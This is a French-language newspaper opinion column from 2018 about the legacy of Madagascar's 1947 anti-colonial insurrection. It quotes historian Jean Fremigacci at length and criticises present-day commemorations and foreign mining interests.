La Gazette de la grande ile

CHRONIQUE DE N. RAZAFILAHY: L’Héritage bafoué de la lutte populaire de 1947…

Publié le 28 mars 2018

De doctes personnages qui se targuent de leurs titres d’universitaires historiens avaient consacré plusieurs documentations sur cette période très confuse de la vie de ce pays. Pourtant peu d’entre eux avaient réussi à dévoiler au grand jour les certaines vérités qui ont marqué ce qui a été pour nos aînés l’origine de ce que les  indépendantistes algériens avaient chez eux considéré comme « des années de braises ». Au risque de s’attirer les courroux de certains courants de pensées précis et très partisans, on peut affirmer que seuls les témoignages des fruits des recherches patientes de  Jean Fremigacci paraissent acceptables. Ce spécialiste de Madagascar affirme dans ses écrits que «  Dans la nuit du 29 mars 1947, l’insurrection éclate, principalement en deux points, Moramanga , à 120 km à l’est de Tananarive, et Manakara , port du sud-est. Elle est lancée par la société secrète JINA, qui rassemble les durs du parti nationaliste légaliste MDRM (Mouvement Démocratique de la Rénovation Malgache), qui veulent arracher l’indépendance par la violence, et dont le chef occulte est le député Raseta. Partout ailleurs, la révolte avorte, à Tananarive, Fianarantsoa, Diego-Suarez… faute de mobilisation populaire, de moyens et aussi par suite d’un appel au calme lancé le 27 mars par la direction du MDRM conduite par les deux autres députés malgaches, Ravoahangy et Rabemananjara, tardivement informés de ce qui se préparait. Le mouvement se déclenche là où les chefs de la JINA maintiennent le mot d’ordre de révolte. »

Les autres ouvrages, presque tous ont buté sur cette réalité à propos de cette précision assez gênante qui dévoile une réticence complice et pas très honorable sur le fait que «Partout ailleurs, la révolte avorte, à Tananarive, Fianarantsoa, Diego-Suarez… faute de mobilisation populaire, de moyens et aussi par suite d’un appel au calme lancé le 27 mars par la direction du MDRM conduite par les deux autres députés malgaches, Ravoahangy et Rabemananjara, tardivement informés de ce qui se préparait. » A la grande surprise de  tous, à chaque commémoration de la journée du 29 mars 1947, on est bien obligé de  constater que c’est dans les  endroits où il ne s’est rien passé en principe que la ferveur des festivités est plus démonstratives et que l’on rencontre encore le plus de rescapés qui se disent « héros et surtout victimes ». Le plus scandaleux est de  constater que nombre de ceux qui ont réellement souffert de la dure répression de pacification de l’époque vivent presque tous dans la précarité de l’ignorance des mérites auxquels ils ont droit. On ne voit aux premières loges des cérémonies officielles, aux côtés des vrais acteurs de la lutte nationaliste qui arrivent à peine à  se tenir debout, beaucoup  trop  de figurants qui ne sont pour la plupart que des héritiers de titres et de la réputation de ces patriotes qui ont osé affronter une machine coloniale sans pitié. La même  source nous révèle certains détails odieux du «  grand massacre vengeur, et après 1950 la propagande communiste lancera le mythe de « Moramanga, l’Oradour malgache », le 29 mars venant se confondre avec le plus grave crime de guerre des Français, qui surviendra le 6 mai suivant, avec le mitraillage en gare de 3 wagons de prisonniers MDRM envoyés du Lac Alaotra. Plus de 120, et même plus de 160 morts, le crime était trop grave pour être avoué et pour que les responsables, un officier et un administrateur, soient jugés et punis.»  Parce que «Le mouvement se déclenche là où les chefs de la JINA maintiennent le mot d’ordre de révolte. A Moramanga, plusieurs centaines d’insurgés venus de la campagne submergent le camp militaire faiblement tenu par une section de Sénégalais, dont 23 sont tués ou blessés. Ils tuent quelques Français dans la petite ville, qu’ils incendient avant de se retirer, en entraînant la population avec eux. A l’aube, les représailles menées par une douzaine de Sénégalais font 30 à 40 morts dans les villages suburbains.(…) Face à un mouvement dont la simultanéité et l’extension traduit une direction centrale, le pouvoir réagit d’autant plus durement que le libéral gouverneur général de Coppet se laisse circonvenir par le brutal chef de la Sûreté, qui le persuade que l’appel du 27 mars n’était que l’ordre codé de révolte. En conséquence, de Coppet congédie Ravoahangy et Rabemananjara venus proposer leur collaboration pour ramener l’ordre. Le 2 avril l’état de siège est proclamé dans 10 districts et Tananarive ordonne l’arrestation massive des cadres du MDRM, suivant l’idée que si on décapite un mouvement mené par une poignée de nationalistes merina, le peuple, réputé « sain », retrouvera le calme.   »

De nos jours, que restent-ils de l’Héritage laissé par ces  anonymes nationalistes qui, dans la clandestinité de la résistance à des occupants avaient sacrifié leur vie pour permettre aux générations suivantes de ne plus vivre sous le joug de l’étranger ? Honte à nous ! Pire que sous le colonialisme programmé  par l’Occident avant le siècle dernier, voici  venir le temps d’une autre forme d’invasion, celle qui ne fait dans la dentelle. A quoi bon festoyer à tort et consacrer un budget ostentatoire à la date du 29 mars, lorsque des envahisseurs d’un autre genre viennent squatter pratiquement les  terres  sacrées de nos ancêtres pour en  extraire les précieuses et fabuleuses richesses et  ne nous laisser que des  aumônes symboliques et  leurs excréments en contrepartie.  Allez dans ces immenses périmètres miniers où  règnent en maîtres les fameuses grandes mines, les exploitants venus d’Asie avec des  engins gigantesques et ce fameux TULEAR SANDS qui, tous bénéficient de la complaisance inconsciente et bornée de l’ONE. Est-ce qu’on met l’opinion au courant des facilités illégales et fiscales accordées en douce et au noir à  tous ces prédateurs qui ravagent et les paysages  et l’environnement entier de l’arrière-pays pour le plus grand plaisir de  quelques privilégiés d’une forme de corruption passive sous forme de financements et d’indemnisations monnayés des missions d’enquêtes préalables commodo et incommodo, de contrôles et de vérifications périodiques souvent fictifs ?… Et dire qu’à l’époque de ce passé glorieux  «L’insurrection traduit le mécontentement profond du peuple malgache résultant des abus de toute sorte dont il a été victime, depuis 1943 surtout. Deux expressions portent ses revendications en 1947, masina ny tanindrazana, la patrie est sacrée, et fahaleovantena, l’indépendance, terme qui parle à tous : pour les citadins éduqués, c’est le rêve d’un Etat malgache libre internationalement reconnu, siégeant à l’ONU. Pour les fonctionnaires, c’est la possibilité de prendre en charge la gestion du pays en remplacement de la coûteuse administration coloniale. Pour les commerçants, ce sera la fin de leur exploitation par les compagnies de traite. Pour les ruraux, c’est la perspective d’être débarrassés des étrangers qui n’ont aucun doit sur la terre malgache que Dieu a réservée aux seuls Malgaches. Les Antemoro du sud-est passent massivement à la révolte car ces riziculteurs de vallée ont vu une part de leurs meilleures terres accaparées par les colons. Leurs voisins Tanala, eux, s’engagent pour perpétuer un genre de vie ancestral persécuté par le régime colonial, la pratique du tavy (culture sur brûlis) et l’habitat isolé en forêt. Les Betsimisaraka cumulent les mécontentements des deux ethnies précédentes… » Or, après «1946 le code de l’indigénat, les prestations, le travail forcé, la Justice indigène sont abolis,(…),» les hommes ambitieux de la politique politicienne entrent en  scène pour semer la pagaille avec leur rêve d’on ne sait au juste quelle souveraineté clanique perdue sous le couvert de la recherche «d’un Etat malgache libre internationalement reconnu, siégeant à l’ONU ? Et c’était le début d’un quiproquo dramatique sanglant. Notre société contemporaine en porte encore et toujours  les  séquelles avec  ces cycliques imbroglios institutionnels destructeurs et stériles.

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